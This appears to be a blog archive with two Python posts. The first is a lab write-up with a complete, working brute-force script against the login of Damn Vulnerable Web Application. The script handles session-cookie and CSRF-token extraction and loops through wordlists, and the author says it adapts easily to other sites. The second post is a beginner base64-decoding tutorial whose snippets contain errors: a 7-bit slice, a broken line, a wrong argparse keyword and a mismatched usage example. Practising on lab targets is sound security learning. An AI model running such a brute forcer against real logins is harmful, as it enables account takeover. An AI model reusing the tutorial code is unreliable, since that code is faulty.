Category Archives: Python

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

1
<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python

from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = "http://192.168.56.101/dvwa/login.php"

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()
fd.close()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()
fd.close()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
try:
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from https://blog.g0tmi1k.com/dvwa/login/)
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id = session_id.group(1)

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply = requests.post(url, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True
            else:
                break

Decoding base64 in Python

This is a small tutorial for beginners on how to decode base64 text strings in Python3. While Python does have a function to directly encode and decode base64, it is always good practice to try and write one yourself if you are a new programmer.

Head over to Wikipedia to see how base64 is decoded. First, each character in the encoded string is assigned a number according to the base64 table. This number is then translated to 6 bit binary.

You can do this in Python by including the base64 table as a dictionary, and iterating through all characters in the encoded string, like this:

for char in string:
    if char in index.keys():
        bin_string += 
            "{0:06b}".format(index.get(char))

The last line formats the decimal value to 6-bit binary ({0:06b}). As the highest value in the base64 table is 63 (for the / character), 6 bits are exactly enough to hold it and no information will be lost (0b111111 = 63).

The above loop creates one long binary string (bin_string) which should now be partitioned in bytes (8 bits) and converted to ASCII. This can be accomplished with the following loop:

while len(bin_string) >= 8:
    byte = bin_string[1:8]
    char = chr(int(byte, 2))
    output += char
    bin_string = bin_string[8:]

This code iterates through the binary string until it’s less than 8 bits long (which should be the end), takes the first byte and converts it to ASCII (actually, Unicode) using the chr function. This could also be done by including an ASCII table and using that to convert, just like we did in the beginning with the base64 table. I’ll leave that as an exercise.
Finally, it removes the first byte from the binary string which we just converted, and the loop continues to the next byte.

If you use print(output) now, it should display the decoded string.

To make the script a little more intuitive you can incorporate the argparse module which allows the coded string to be included as an argument while running the script, like this:

python base64_decode.py --TWFu

Where ‘TWFu’ is an encoded string.

The code for argparse is as follows:

import argparse

parser = argparse.ArgumentParser(Description="")
parser.add_argument('--string', dest='string',     
    required=True)
args = parser.parse_args()

The string to decode then becomes args.string when called in the subsequent code.

Happy coding!

The full script can be found at github.